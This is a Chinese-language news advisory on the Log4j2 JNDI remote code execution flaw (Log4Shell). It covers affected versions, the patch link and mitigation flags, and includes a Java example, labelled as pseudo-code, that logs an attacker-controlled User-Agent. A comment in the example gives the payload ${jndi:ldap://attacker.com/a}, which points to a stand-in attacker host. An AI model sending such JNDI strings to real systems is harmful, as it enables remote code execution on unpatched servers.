炸鍋了!Apache Log4j2 核彈級漏洞公開

整理 | 葉子
出品 | OSC開源社群(ID:oschina2013)
昨晚,Apache Log4j2 的遠端程式碼執行漏洞刷爆朋友圈,該漏洞一旦被攻擊者利用會造成嚴重危害。而且此次漏洞影響巨大,很多網站如百度等都是此次 Log4j 遠端程式碼執行漏洞的受害者很多網際網路企業也都連夜做了應急措施。
漏洞詳情:
Apache Log4j 遠端程式碼執行漏洞
嚴重程度: 嚴重
由於Apache Log4j2某些功能存在遞迴解析功能,攻擊者可直接構造惡意請求,觸發遠端程式碼執行漏洞。漏洞利用無需特殊配置
漏洞情況分析:
Apache Log4j是一個基於Java的日誌記錄元件。Apache Log4j2是Log4j的升級版本,透過重寫Log4j引入了豐富的功能特性。該日誌元件被廣泛應用於業務系統開發,用以記錄程式輸入輸出日誌資訊。
2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2遠端程式碼執行漏洞。由於Log4j2元件在處理程式日誌記錄時存在JNDI注入缺陷,未經授權的攻擊者利用該漏洞,可向目標伺服器傳送精心構造的惡意資料,觸發Log4j2元件解析缺陷,實現目標伺服器的任意程式碼執行,獲得目標伺服器許可權。
漏洞編號:暫缺
漏洞等級:
高危,該漏洞影響範圍極廣,危害極大。
CVSS評分:10(最高階)
漏洞狀態:
受影響的版本:
Apache log4j2 2.0 - 2.14.1 版本均受影響。
安全版本:
Apache log4j-2.15.0-rc2

易受攻擊程式碼示例:

import org.apache.log4j.Logger;

import java.io.*;

import java.sql.SQLException;

import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

static Logger log = Logger.getLogger(log4jExample.class.getName());

/**

* A simple HTTP endpoint that reads the request's User Agent and logs it back.

* This is basically pseudo-code to explain the vulnerability, and not a full example.

* @param he HTTP Request Object

*/

public void handle(HttpExchange he) throws IOException {

string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.

// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}

log.info("Request User Agent:" + userAgent);

String response = "<h1>Hello There, " + userAgent + "!</h1>";

he.sendResponseHeaders(200, response.length());

OutputStream os = he.getResponseBody();

os.write(response.getBytes());

os.close();

}

}

漏洞修復方案:
Apache官方已釋出補丁,建議受影響的使用者儘快升級到安全版本。
補丁下載地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
漏洞緩解措施:
(1)jvm引數 -Dlog4j2.formatMsgNoLookups=true
(2)log4j2.formatMsgNoLookups=True
因該元件使用極為廣泛,利用門檻很低,危害極大,建議所有使用者儘快升級到安全版本。
END

覺得不錯,請點個在看

閱讀原文


相關文章